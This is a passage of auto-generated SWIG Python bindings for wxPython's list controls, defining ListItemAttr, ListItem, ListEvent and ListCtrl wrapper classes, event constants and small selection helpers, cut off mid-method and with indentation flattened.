LIST_FORMAT_CENTRE = _controls_.LIST_FORMAT_CENTRE
LIST_FORMAT_CENTER = _controls_.LIST_FORMAT_CENTER
LIST_AUTOSIZE = _controls_.LIST_AUTOSIZE
LIST_AUTOSIZE_USEHEADER = _controls_.LIST_AUTOSIZE_USEHEADER
LIST_RECT_BOUNDS = _controls_.LIST_RECT_BOUNDS
LIST_RECT_ICON = _controls_.LIST_RECT_ICON
LIST_RECT_LABEL = _controls_.LIST_RECT_LABEL
LIST_FIND_UP = _controls_.LIST_FIND_UP
LIST_FIND_DOWN = _controls_.LIST_FIND_DOWN
LIST_FIND_LEFT = _controls_.LIST_FIND_LEFT
LIST_FIND_RIGHT = _controls_.LIST_FIND_RIGHT
#---------------------------------------------------------------------------
class ListItemAttr(object):
"""Proxy of C++ ListItemAttr class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Colour colText=wxNullColour, Colour colBack=wxNullColour,
Font font=wxNullFont) -> ListItemAttr
"""
_controls_.ListItemAttr_swiginit(self,_controls_.new_ListItemAttr(*args, **kwargs))
__swig_destroy__ = _controls_.delete_ListItemAttr
__del__ = lambda self : None;
def SetTextColour(*args, **kwargs):
"""SetTextColour(self, Colour colText)"""
return _controls_.ListItemAttr_SetTextColour(*args, **kwargs)
def SetBackgroundColour(*args, **kwargs):
"""SetBackgroundColour(self, Colour colBack)"""
return _controls_.ListItemAttr_SetBackgroundColour(*args, **kwargs)
def SetFont(*args, **kwargs):
"""SetFont(self, Font font)"""
return _controls_.ListItemAttr_SetFont(*args, **kwargs)
def HasTextColour(*args, **kwargs):
"""HasTextColour(self) -> bool"""
return _controls_.ListItemAttr_HasTextColour(*args, **kwargs)
def HasBackgroundColour(*args, **kwargs):
"""HasBackgroundColour(self) -> bool"""
return _controls_.ListItemAttr_HasBackgroundColour(*args, **kwargs)
def HasFont(*args, **kwargs):
"""HasFont(self) -> bool"""
return _controls_.ListItemAttr_HasFont(*args, **kwargs)
def GetTextColour(*args, **kwargs):
"""GetTextColour(self) -> Colour"""
return _controls_.ListItemAttr_GetTextColour(*args, **kwargs)
def GetBackgroundColour(*args, **kwargs):
"""GetBackgroundColour(self) -> Colour"""
return _controls_.ListItemAttr_GetBackgroundColour(*args, **kwargs)
def GetFont(*args, **kwargs):
"""GetFont(self) -> Font"""
return _controls_.ListItemAttr_GetFont(*args, **kwargs)
def AssignFrom(*args, **kwargs):
"""AssignFrom(self, ListItemAttr source)"""
return _controls_.ListItemAttr_AssignFrom(*args, **kwargs)
def Destroy(*args, **kwargs):
"""Destroy(self)"""
args[0].this.own(False)
return _controls_.ListItemAttr_Destroy(*args, **kwargs)
BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc="See `GetBackgroundColour` and `SetBackgroundColour`")
Font = property(GetFont,SetFont,doc="See `GetFont` and `SetFont`")
TextColour = property(GetTextColour,SetTextColour,doc="See `GetTextColour` and `SetTextColour`")
_controls_.ListItemAttr_swigregister(ListItemAttr)
ListCtrlNameStr = cvar.ListCtrlNameStr
#---------------------------------------------------------------------------
class ListItem(_core.Object):
"""Proxy of C++ ListItem class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self) -> ListItem"""
_controls_.ListItem_swiginit(self,_controls_.new_ListItem(*args, **kwargs))
__swig_destroy__ = _controls_.delete_ListItem
__del__ = lambda self : None;
def Clear(*args, **kwargs):
"""Clear(self)"""
return _controls_.ListItem_Clear(*args, **kwargs)
def ClearAttributes(*args, **kwargs):
"""ClearAttributes(self)"""
return _controls_.ListItem_ClearAttributes(*args, **kwargs)
def SetMask(*args, **kwargs):
"""SetMask(self, long mask)"""
return _controls_.ListItem_SetMask(*args, **kwargs)
def SetId(*args, **kwargs):
"""SetId(self, long id)"""
return _controls_.ListItem_SetId(*args, **kwargs)
def SetColumn(*args, **kwargs):
"""SetColumn(self, int col)"""
return _controls_.ListItem_SetColumn(*args, **kwargs)
def SetState(*args, **kwargs):
"""SetState(self, long state)"""
return _controls_.ListItem_SetState(*args, **kwargs)
def SetStateMask(*args, **kwargs):
"""SetStateMask(self, long stateMask)"""
return _controls_.ListItem_SetStateMask(*args, **kwargs)
def SetText(*args, **kwargs):
"""SetText(self, String text)"""
return _controls_.ListItem_SetText(*args, **kwargs)
def SetImage(*args, **kwargs):
"""SetImage(self, int image)"""
return _controls_.ListItem_SetImage(*args, **kwargs)
def SetData(*args, **kwargs):
"""SetData(self, long data)"""
return _controls_.ListItem_SetData(*args, **kwargs)
def SetWidth(*args, **kwargs):
"""SetWidth(self, int width)"""
return _controls_.ListItem_SetWidth(*args, **kwargs)
def SetAlign(*args, **kwargs):
"""SetAlign(self, int align)"""
return _controls_.ListItem_SetAlign(*args, **kwargs)
def SetTextColour(*args, **kwargs):
"""SetTextColour(self, Colour colText)"""
return _controls_.ListItem_SetTextColour(*args, **kwargs)
def SetBackgroundColour(*args, **kwargs):
"""SetBackgroundColour(self, Colour colBack)"""
return _controls_.ListItem_SetBackgroundColour(*args, **kwargs)
def SetFont(*args, **kwargs):
"""SetFont(self, Font font)"""
return _controls_.ListItem_SetFont(*args, **kwargs)
def GetMask(*args, **kwargs):
"""GetMask(self) -> long"""
return _controls_.ListItem_GetMask(*args, **kwargs)
def GetId(*args, **kwargs):
"""GetId(self) -> long"""
return _controls_.ListItem_GetId(*args, **kwargs)
def GetColumn(*args, **kwargs):
"""GetColumn(self) -> int"""
return _controls_.ListItem_GetColumn(*args, **kwargs)
def GetState(*args, **kwargs):
"""GetState(self) -> long"""
return _controls_.ListItem_GetState(*args, **kwargs)
def GetText(*args, **kwargs):
"""GetText(self) -> String"""
return _controls_.ListItem_GetText(*args, **kwargs)
def GetImage(*args, **kwargs):
"""GetImage(self) -> int"""
return _controls_.ListItem_GetImage(*args, **kwargs)
def GetData(*args, **kwargs):
"""GetData(self) -> long"""
return _controls_.ListItem_GetData(*args, **kwargs)
def GetWidth(*args, **kwargs):
"""GetWidth(self) -> int"""
return _controls_.ListItem_GetWidth(*args, **kwargs)
def GetAlign(*args, **kwargs):
"""GetAlign(self) -> int"""
return _controls_.ListItem_GetAlign(*args, **kwargs)
def GetAttributes(*args, **kwargs):
"""GetAttributes(self) -> ListItemAttr"""
return _controls_.ListItem_GetAttributes(*args, **kwargs)
def HasAttributes(*args, **kwargs):
"""HasAttributes(self) -> bool"""
return _controls_.ListItem_HasAttributes(*args, **kwargs)
def GetTextColour(*args, **kwargs):
"""GetTextColour(self) -> Colour"""
return _controls_.ListItem_GetTextColour(*args, **kwargs)
def GetBackgroundColour(*args, **kwargs):
"""GetBackgroundColour(self) -> Colour"""
return _controls_.ListItem_GetBackgroundColour(*args, **kwargs)
def GetFont(*args, **kwargs):
"""GetFont(self) -> Font"""
return _controls_.ListItem_GetFont(*args, **kwargs)
m_mask = property(_controls_.ListItem_m_mask_get, _controls_.ListItem_m_mask_set)
m_itemId = property(_controls_.ListItem_m_itemId_get, _controls_.ListItem_m_itemId_set)
m_col = property(_controls_.ListItem_m_col_get, _controls_.ListItem_m_col_set)
m_state = property(_controls_.ListItem_m_state_get, _controls_.ListItem_m_state_set)
m_stateMask = property(_controls_.ListItem_m_stateMask_get, _controls_.ListItem_m_stateMask_set)
m_text = property(_controls_.ListItem_m_text_get, _controls_.ListItem_m_text_set)
m_image = property(_controls_.ListItem_m_image_get, _controls_.ListItem_m_image_set)
m_data = property(_controls_.ListItem_m_data_get, _controls_.ListItem_m_data_set)
m_format = property(_controls_.ListItem_m_format_get, _controls_.ListItem_m_format_set)
m_width = property(_controls_.ListItem_m_width_get, _controls_.ListItem_m_width_set)
Align = property(GetAlign,SetAlign,doc="See `GetAlign` and `SetAlign`")
Attributes = property(GetAttributes,doc="See `GetAttributes`")
BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc="See `GetBackgroundColour` and `SetBackgroundColour`")
Column = property(GetColumn,SetColumn,doc="See `GetColumn` and `SetColumn`")
Data = property(GetData,SetData,doc="See `GetData` and `SetData`")
Font = property(GetFont,SetFont,doc="See `GetFont` and `SetFont`")
Id = property(GetId,SetId,doc="See `GetId` and `SetId`")
Image = property(GetImage,SetImage,doc="See `GetImage` and `SetImage`")
Mask = property(GetMask,SetMask,doc="See `GetMask` and `SetMask`")
State = property(GetState,SetState,doc="See `GetState` and `SetState`")
Text = property(GetText,SetText,doc="See `GetText` and `SetText`")
TextColour = property(GetTextColour,SetTextColour,doc="See `GetTextColour` and `SetTextColour`")
Width = property(GetWidth,SetWidth,doc="See `GetWidth` and `SetWidth`")
_controls_.ListItem_swigregister(ListItem)
#---------------------------------------------------------------------------
class ListEvent(_core.NotifyEvent):
"""Proxy of C++ ListEvent class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""__init__(self, EventType commandType=wxEVT_NULL, int id=0) -> ListEvent"""
_controls_.ListEvent_swiginit(self,_controls_.new_ListEvent(*args, **kwargs))
m_code = property(_controls_.ListEvent_m_code_get, _controls_.ListEvent_m_code_set)
m_oldItemIndex = property(_controls_.ListEvent_m_oldItemIndex_get, _controls_.ListEvent_m_oldItemIndex_set)
m_itemIndex = property(_controls_.ListEvent_m_itemIndex_get, _controls_.ListEvent_m_itemIndex_set)
m_col = property(_controls_.ListEvent_m_col_get, _controls_.ListEvent_m_col_set)
m_pointDrag = property(_controls_.ListEvent_m_pointDrag_get, _controls_.ListEvent_m_pointDrag_set)
m_item = property(_controls_.ListEvent_m_item_get)
def GetKeyCode(*args, **kwargs):
"""GetKeyCode(self) -> int"""
return _controls_.ListEvent_GetKeyCode(*args, **kwargs)
GetCode = GetKeyCode
def GetIndex(*args, **kwargs):
"""GetIndex(self) -> long"""
return _controls_.ListEvent_GetIndex(*args, **kwargs)
def GetColumn(*args, **kwargs):
"""GetColumn(self) -> int"""
return _controls_.ListEvent_GetColumn(*args, **kwargs)
def GetPoint(*args, **kwargs):
"""GetPoint(self) -> Point"""
return _controls_.ListEvent_GetPoint(*args, **kwargs)
GetPosition = GetPoint
def GetLabel(*args, **kwargs):
"""GetLabel(self) -> String"""
return _controls_.ListEvent_GetLabel(*args, **kwargs)
def GetText(*args, **kwargs):
"""GetText(self) -> String"""
return _controls_.ListEvent_GetText(*args, **kwargs)
def GetImage(*args, **kwargs):
"""GetImage(self) -> int"""
return _controls_.ListEvent_GetImage(*args, **kwargs)
def GetData(*args, **kwargs):
"""GetData(self) -> long"""
return _controls_.ListEvent_GetData(*args, **kwargs)
def GetMask(*args, **kwargs):
"""GetMask(self) -> long"""
return _controls_.ListEvent_GetMask(*args, **kwargs)
def GetItem(*args, **kwargs):
"""GetItem(self) -> ListItem"""
return _controls_.ListEvent_GetItem(*args, **kwargs)
def GetCacheFrom(*args, **kwargs):
"""GetCacheFrom(self) -> long"""
return _controls_.ListEvent_GetCacheFrom(*args, **kwargs)
def GetCacheTo(*args, **kwargs):
"""GetCacheTo(self) -> long"""
return _controls_.ListEvent_GetCacheTo(*args, **kwargs)
def IsEditCancelled(*args, **kwargs):
"""IsEditCancelled(self) -> bool"""
return _controls_.ListEvent_IsEditCancelled(*args, **kwargs)
def SetEditCanceled(*args, **kwargs):
"""SetEditCanceled(self, bool editCancelled)"""
return _controls_.ListEvent_SetEditCanceled(*args, **kwargs)
CacheFrom = property(GetCacheFrom,doc="See `GetCacheFrom`")
CacheTo = property(GetCacheTo,doc="See `GetCacheTo`")
Column = property(GetColumn,doc="See `GetColumn`")
Data = property(GetData,doc="See `GetData`")
Image = property(GetImage,doc="See `GetImage`")
Index = property(GetIndex,doc="See `GetIndex`")
Item = property(GetItem,doc="See `GetItem`")
KeyCode = property(GetKeyCode,doc="See `GetKeyCode`")
Label = property(GetLabel,doc="See `GetLabel`")
Mask = property(GetMask,doc="See `GetMask`")
Point = property(GetPoint,doc="See `GetPoint`")
Text = property(GetText,doc="See `GetText`")
_controls_.ListEvent_swigregister(ListEvent)
wxEVT_COMMAND_LIST_BEGIN_DRAG = _controls_.wxEVT_COMMAND_LIST_BEGIN_DRAG
wxEVT_COMMAND_LIST_BEGIN_RDRAG = _controls_.wxEVT_COMMAND_LIST_BEGIN_RDRAG
wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT = _controls_.wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT
wxEVT_COMMAND_LIST_END_LABEL_EDIT = _controls_.wxEVT_COMMAND_LIST_END_LABEL_EDIT
wxEVT_COMMAND_LIST_DELETE_ITEM = _controls_.wxEVT_COMMAND_LIST_DELETE_ITEM
wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS = _controls_.wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS
wxEVT_COMMAND_LIST_ITEM_SELECTED = _controls_.wxEVT_COMMAND_LIST_ITEM_SELECTED
wxEVT_COMMAND_LIST_ITEM_DESELECTED = _controls_.wxEVT_COMMAND_LIST_ITEM_DESELECTED
wxEVT_COMMAND_LIST_KEY_DOWN = _controls_.wxEVT_COMMAND_LIST_KEY_DOWN
wxEVT_COMMAND_LIST_INSERT_ITEM = _controls_.wxEVT_COMMAND_LIST_INSERT_ITEM
wxEVT_COMMAND_LIST_COL_CLICK = _controls_.wxEVT_COMMAND_LIST_COL_CLICK
wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK = _controls_.wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK
wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK = _controls_.wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK
wxEVT_COMMAND_LIST_ITEM_ACTIVATED = _controls_.wxEVT_COMMAND_LIST_ITEM_ACTIVATED
wxEVT_COMMAND_LIST_CACHE_HINT = _controls_.wxEVT_COMMAND_LIST_CACHE_HINT
wxEVT_COMMAND_LIST_COL_RIGHT_CLICK = _controls_.wxEVT_COMMAND_LIST_COL_RIGHT_CLICK
wxEVT_COMMAND_LIST_COL_BEGIN_DRAG = _controls_.wxEVT_COMMAND_LIST_COL_BEGIN_DRAG
wxEVT_COMMAND_LIST_COL_DRAGGING = _controls_.wxEVT_COMMAND_LIST_COL_DRAGGING
wxEVT_COMMAND_LIST_COL_END_DRAG = _controls_.wxEVT_COMMAND_LIST_COL_END_DRAG
wxEVT_COMMAND_LIST_ITEM_FOCUSED = _controls_.wxEVT_COMMAND_LIST_ITEM_FOCUSED
EVT_LIST_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_DRAG , 1)
EVT_LIST_BEGIN_RDRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_RDRAG , 1)
EVT_LIST_BEGIN_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_LIST_BEGIN_LABEL_EDIT , 1)
EVT_LIST_END_LABEL_EDIT = wx.PyEventBinder(wxEVT_COMMAND_LIST_END_LABEL_EDIT , 1)
EVT_LIST_DELETE_ITEM = wx.PyEventBinder(wxEVT_COMMAND_LIST_DELETE_ITEM , 1)
EVT_LIST_DELETE_ALL_ITEMS = wx.PyEventBinder(wxEVT_COMMAND_LIST_DELETE_ALL_ITEMS , 1)
EVT_LIST_ITEM_SELECTED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_SELECTED , 1)
EVT_LIST_ITEM_DESELECTED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_DESELECTED , 1)
EVT_LIST_KEY_DOWN = wx.PyEventBinder(wxEVT_COMMAND_LIST_KEY_DOWN , 1)
EVT_LIST_INSERT_ITEM = wx.PyEventBinder(wxEVT_COMMAND_LIST_INSERT_ITEM , 1)
EVT_LIST_COL_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_CLICK , 1)
EVT_LIST_ITEM_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK , 1)
EVT_LIST_ITEM_MIDDLE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_MIDDLE_CLICK, 1)
EVT_LIST_ITEM_ACTIVATED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_ACTIVATED , 1)
EVT_LIST_CACHE_HINT = wx.PyEventBinder(wxEVT_COMMAND_LIST_CACHE_HINT , 1)
EVT_LIST_COL_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_RIGHT_CLICK , 1)
EVT_LIST_COL_BEGIN_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_BEGIN_DRAG , 1)
EVT_LIST_COL_DRAGGING = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_DRAGGING , 1)
EVT_LIST_COL_END_DRAG = wx.PyEventBinder(wxEVT_COMMAND_LIST_COL_END_DRAG , 1)
EVT_LIST_ITEM_FOCUSED = wx.PyEventBinder(wxEVT_COMMAND_LIST_ITEM_FOCUSED , 1)
#---------------------------------------------------------------------------
class ListCtrl(_core.Control):
"""Proxy of C++ ListCtrl class"""
thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
__repr__ = _swig_repr
def __init__(self, *args, **kwargs):
"""
__init__(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LC_ICON,
Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> ListCtrl
"""
_controls_.ListCtrl_swiginit(self,_controls_.new_ListCtrl(*args, **kwargs))
self._setOORInfo(self);ListCtrl._setCallbackInfo(self, self, ListCtrl)
def Create(*args, **kwargs):
"""
Create(self, Window parent, int id=-1, Point pos=DefaultPosition,
Size size=DefaultSize, long style=LC_ICON,
Validator validator=DefaultValidator, String name=ListCtrlNameStr) -> bool
Do the 2nd phase and create the GUI control.
"""
return _controls_.ListCtrl_Create(*args, **kwargs)
def _setCallbackInfo(*args, **kwargs):
"""_setCallbackInfo(self, PyObject self, PyObject _class)"""
return _controls_.ListCtrl__setCallbackInfo(*args, **kwargs)
def GetColumn(*args, **kwargs):
"""GetColumn(self, int col) -> ListItem"""
val = _controls_.ListCtrl_GetColumn(*args, **kwargs)
if val is not None: val.thisown = 1
return val
def SetColumn(*args, **kwargs):
"""SetColumn(self, int col, ListItem item) -> bool"""
return _controls_.ListCtrl_SetColumn(*args, **kwargs)
def GetColumnWidth(*args, **kwargs):
"""GetColumnWidth(self, int col) -> int"""
return _controls_.ListCtrl_GetColumnWidth(*args, **kwargs)
def SetColumnWidth(*args, **kwargs):
"""SetColumnWidth(self, int col, int width) -> bool"""
return _controls_.ListCtrl_SetColumnWidth(*args, **kwargs)
def GetCountPerPage(*args, **kwargs):
"""GetCountPerPage(self) -> int"""
return _controls_.ListCtrl_GetCountPerPage(*args, **kwargs)
def GetViewRect(*args, **kwargs):
"""GetViewRect(self) -> Rect"""
return _controls_.ListCtrl_GetViewRect(*args, **kwargs)
def GetEditControl(*args, **kwargs):
"""GetEditControl(self) -> TextCtrl"""
return _controls_.ListCtrl_GetEditControl(*args, **kwargs)
def GetItem(*args, **kwargs):
"""GetItem(self, long itemId, int col=0) -> ListItem"""
val = _controls_.ListCtrl_GetItem(*args, **kwargs)
if val is not None: val.thisown = 1
return val
def SetItem(*args, **kwargs):
"""SetItem(self, ListItem info) -> bool"""
return _controls_.ListCtrl_SetItem(*args, **kwargs)
def SetStringItem(*args, **kwargs):
"""SetStringItem(self, long index, int col, String label, int imageId=-1) -> long"""
return _controls_.ListCtrl_SetStringItem(*args, **kwargs)
def GetItemState(*args, **kwargs):
"""GetItemState(self, long item, long stateMask) -> int"""
return _controls_.ListCtrl_GetItemState(*args, **kwargs)
def SetItemState(*args, **kwargs):
"""SetItemState(self, long item, long state, long stateMask) -> bool"""
return _controls_.ListCtrl_SetItemState(*args, **kwargs)
def SetItemImage(*args, **kwargs):
"""SetItemImage(self, long item, int image, int selImage=-1) -> bool"""
return _controls_.ListCtrl_SetItemImage(*args, **kwargs)
def SetItemColumnImage(*args, **kwargs):
"""SetItemColumnImage(self, long item, long column, int image) -> bool"""
return _controls_.ListCtrl_SetItemColumnImage(*args, **kwargs)
def GetItemText(*args, **kwargs):
"""GetItemText(self, long item) -> String"""
return _controls_.ListCtrl_GetItemText(*args, **kwargs)
def SetItemText(*args, **kwargs):
"""SetItemText(self, long item, String str)"""
return _controls_.ListCtrl_SetItemText(*args, **kwargs)
def GetItemData(*args, **kwargs):
"""GetItemData(self, long item) -> long"""
return _controls_.ListCtrl_GetItemData(*args, **kwargs)
def SetItemData(*args, **kwargs):
"""SetItemData(self, long item, long data) -> bool"""
return _controls_.ListCtrl_SetItemData(*args, **kwargs)
def GetItemPosition(*args, **kwargs):
"""GetItemPosition(self, long item) -> Point"""
return _controls_.ListCtrl_GetItemPosition(*args, **kwargs)
def GetItemRect(*args, **kwargs):
"""GetItemRect(self, long item, int code=LIST_RECT_BOUNDS) -> Rect"""
return _controls_.ListCtrl_GetItemRect(*args, **kwargs)
def SetItemPosition(*args, **kwargs):
"""SetItemPosition(self, long item, Point pos) -> bool"""
return _controls_.ListCtrl_SetItemPosition(*args, **kwargs)
def GetItemCount(*args, **kwargs):
"""GetItemCount(self) -> int"""
return _controls_.ListCtrl_GetItemCount(*args, **kwargs)
def GetColumnCount(*args, **kwargs):
"""GetColumnCount(self) -> int"""
return _controls_.ListCtrl_GetColumnCount(*args, **kwargs)
def GetItemSpacing(*args, **kwargs):
"""GetItemSpacing(self) -> Size"""
return _controls_.ListCtrl_GetItemSpacing(*args, **kwargs)
def GetSelectedItemCount(*args, **kwargs):
"""GetSelectedItemCount(self) -> int"""
return _controls_.ListCtrl_GetSelectedItemCount(*args, **kwargs)
def GetTextColour(*args, **kwargs):
"""GetTextColour(self) -> Colour"""
return _controls_.ListCtrl_GetTextColour(*args, **kwargs)
def SetTextColour(*args, **kwargs):
"""SetTextColour(self, Colour col)"""
return _controls_.ListCtrl_SetTextColour(*args, **kwargs)
def GetTopItem(*args, **kwargs):
"""GetTopItem(self) -> long"""
return _controls_.ListCtrl_GetTopItem(*args, **kwargs)
def SetSingleStyle(*args, **kwargs):
"""SetSingleStyle(self, long style, bool add=True)"""
return _controls_.ListCtrl_SetSingleStyle(*args, **kwargs)
def GetNextItem(*args, **kwargs):
"""GetNextItem(self, long item, int geometry=LIST_NEXT_ALL, int state=LIST_STATE_DONTCARE) -> long"""
return _controls_.ListCtrl_GetNextItem(*args, **kwargs)
def GetImageList(*args, **kwargs):
"""GetImageList(self, int which) -> ImageList"""
return _controls_.ListCtrl_GetImageList(*args, **kwargs)
def SetImageList(*args, **kwargs):
"""SetImageList(self, ImageList imageList, int which)"""
return _controls_.ListCtrl_SetImageList(*args, **kwargs)
def AssignImageList(*args, **kwargs):
"""AssignImageList(self, ImageList imageList, int which)"""
return _controls_.ListCtrl_AssignImageList(*args, **kwargs)
def InReportView(*args, **kwargs):
"""InReportView(self) -> bool"""
return _controls_.ListCtrl_InReportView(*args, **kwargs)
def IsVirtual(*args, **kwargs):
"""IsVirtual(self) -> bool"""
return _controls_.ListCtrl_IsVirtual(*args, **kwargs)
def RefreshItem(*args, **kwargs):
"""RefreshItem(self, long item)"""
return _controls_.ListCtrl_RefreshItem(*args, **kwargs)
def RefreshItems(*args, **kwargs):
"""RefreshItems(self, long itemFrom, long itemTo)"""
return _controls_.ListCtrl_RefreshItems(*args, **kwargs)
def Arrange(*args, **kwargs):
"""Arrange(self, int flag=LIST_ALIGN_DEFAULT) -> bool"""
return _controls_.ListCtrl_Arrange(*args, **kwargs)
def DeleteItem(*args, **kwargs):
"""DeleteItem(self, long item) -> bool"""
return _controls_.ListCtrl_DeleteItem(*args, **kwargs)
def DeleteAllItems(*args, **kwargs):
"""DeleteAllItems(self) -> bool"""
return _controls_.ListCtrl_DeleteAllItems(*args, **kwargs)
def DeleteColumn(*args, **kwargs):
"""DeleteColumn(self, int col) -> bool"""
return _controls_.ListCtrl_DeleteColumn(*args, **kwargs)
def DeleteAllColumns(*args, **kwargs):
"""DeleteAllColumns(self) -> bool"""
return _controls_.ListCtrl_DeleteAllColumns(*args, **kwargs)
def ClearAll(*args, **kwargs):
"""ClearAll(self)"""
return _controls_.ListCtrl_ClearAll(*args, **kwargs)
def EditLabel(*args, **kwargs):
"""EditLabel(self, long item) -> TextCtrl"""
return _controls_.ListCtrl_EditLabel(*args, **kwargs)
def EndEditLabel(*args, **kwargs):
"""EndEditLabel(self, bool cancel) -> bool"""
return _controls_.ListCtrl_EndEditLabel(*args, **kwargs)
def EnsureVisible(*args, **kwargs):
"""EnsureVisible(self, long item) -> bool"""
return _controls_.ListCtrl_EnsureVisible(*args, **kwargs)
def FindItem(*args, **kwargs):
"""FindItem(self, long start, String str, bool partial=False) -> long"""
return _controls_.ListCtrl_FindItem(*args, **kwargs)
def FindItemData(*args, **kwargs):
"""FindItemData(self, long start, long data) -> long"""
return _controls_.ListCtrl_FindItemData(*args, **kwargs)
def FindItemAtPos(*args, **kwargs):
"""FindItemAtPos(self, long start, Point pt, int direction) -> long"""
return _controls_.ListCtrl_FindItemAtPos(*args, **kwargs)
def HitTest(*args, **kwargs):
"""
HitTest(Point point) -> (item, where)
Determines which item (if any) is at the specified point, giving
in the second return value (see wx.LIST_HITTEST flags.)
"""
return _controls_.ListCtrl_HitTest(*args, **kwargs)
def HitTestSubItem(*args, **kwargs):
"""
HitTestSubItem(Point point) -> (item, where, subItem)
Determines which item (if any) is at the specified point, giving in
the second return value (see wx.LIST_HITTEST flags) and also the subItem, if
any.
"""
return _controls_.ListCtrl_HitTestSubItem(*args, **kwargs)
def InsertItem(*args, **kwargs):
"""InsertItem(self, ListItem info) -> long"""
return _controls_.ListCtrl_InsertItem(*args, **kwargs)
def InsertStringItem(*args, **kwargs):
"""InsertStringItem(self, long index, String label, int imageIndex=-1) -> long"""
return _controls_.ListCtrl_InsertStringItem(*args, **kwargs)
def InsertImageItem(*args, **kwargs):
"""InsertImageItem(self, long index, int imageIndex) -> long"""
return _controls_.ListCtrl_InsertImageItem(*args, **kwargs)
def InsertImageStringItem(*args, **kwargs):
"""InsertImageStringItem(self, long index, String label, int imageIndex) -> long"""
return _controls_.ListCtrl_InsertImageStringItem(*args, **kwargs)
def InsertColumnItem(*args, **kwargs):
"""InsertColumnItem(self, long col, ListItem info) -> long"""
return _controls_.ListCtrl_InsertColumnItem(*args, **kwargs)
InsertColumnInfo = InsertColumnItem
def InsertColumn(*args, **kwargs):
"""
InsertColumn(self, long col, String heading, int format=LIST_FORMAT_LEFT,
int width=-1) -> long
"""
return _controls_.ListCtrl_InsertColumn(*args, **kwargs)
def SetItemCount(*args, **kwargs):
"""SetItemCount(self, long count)"""
return _controls_.ListCtrl_SetItemCount(*args, **kwargs)
def ScrollList(*args, **kwargs):
"""ScrollList(self, int dx, int dy) -> bool"""
return _controls_.ListCtrl_ScrollList(*args, **kwargs)
def SetItemTextColour(*args, **kwargs):
"""SetItemTextColour(self, long item, Colour col)"""
return _controls_.ListCtrl_SetItemTextColour(*args, **kwargs)
def GetItemTextColour(*args, **kwargs):
"""GetItemTextColour(self, long item) -> Colour"""
return _controls_.ListCtrl_GetItemTextColour(*args, **kwargs)
def SetItemBackgroundColour(*args, **kwargs):
"""SetItemBackgroundColour(self, long item, Colour col)"""
return _controls_.ListCtrl_SetItemBackgroundColour(*args, **kwargs)
def GetItemBackgroundColour(*args, **kwargs):
"""GetItemBackgroundColour(self, long item) -> Colour"""
return _controls_.ListCtrl_GetItemBackgroundColour(*args, **kwargs)
def SetItemFont(*args, **kwargs):
"""SetItemFont(self, long item, Font f)"""
return _controls_.ListCtrl_SetItemFont(*args, **kwargs)
def GetItemFont(*args, **kwargs):
"""GetItemFont(self, long item) -> Font"""
return _controls_.ListCtrl_GetItemFont(*args, **kwargs)
#
# Some helpers...
def Select(self, idx, on=1):
'''[de]select an item'''
if on: state = wx.LIST_STATE_SELECTED
else: state = 0
self.SetItemState(idx, state, wx.LIST_STATE_SELECTED)
def Focus(self, idx):
'''Focus and show the given item'''
self.SetItemState(idx, wx.LIST_STATE_FOCUSED, wx.LIST_STATE_FOCUSED)
self.EnsureVisible(idx)
def GetFocusedItem(self):
'''get the currently focused item or -1 if none'''
return self.GetNextItem(-1, wx.LIST_NEXT_ALL, wx.LIST_STATE_FOCUSED)
def GetFirstSelected(self, *args):
'''return first selected item, or -1 when none'''
return self.GetNextSelected(-1)
def GetNextSelected(self, item):
'''return subsequent selected items, or -1 when no more'''
return self.GetNextItem(item, wx.LIST_NEXT_ALL, wx.LIST_STATE_SELECTED)
def IsSelected(self, idx):
'''return True if the item is selected'''
return (self.GetItemState(idx, wx.LIST_STATE_SELECTED) & wx.LIST_STATE_SELECTED) != 0
def SetColumnImage(self, col, image):
item = self.GetColumn(col)
# preserve all other attributes too
item.SetMask( wx.LIST_MASK_STATE |
wx.LIST_MASK_TEXT |
wx.LIST_MASK_IMAGE |
wx.LIST_MASK_DATA |
wx.LIST_SET_ITEM |
wx.LIST_MASK_WIDTH |
wx.LIST_MASK_FORMAT )
item.SetImage(image)
self.SetColumn(col, item)
def ClearColumnImage(self, col):
self.SetColumnImage(col, -1)
def Append(self, entry):
'''Append an item to the list control. The entry parameter should be a
sequence with an item for each column'''
if len(entry):
if wx.USE_UNICODE:
cvtfunc = unicode
else:
cvtfunc = str
pos = self.GetItemCount()
self.InsertStringItem(pos, cvtfunc(entry[0]))
for i in range(1, len(entry)):
self.SetStringItem(pos, i, cvtfunc(entry[i]))
return pos
def SortItems(*args, **kwargs):
"""SortItems(self, PyObject func) -> bool"""
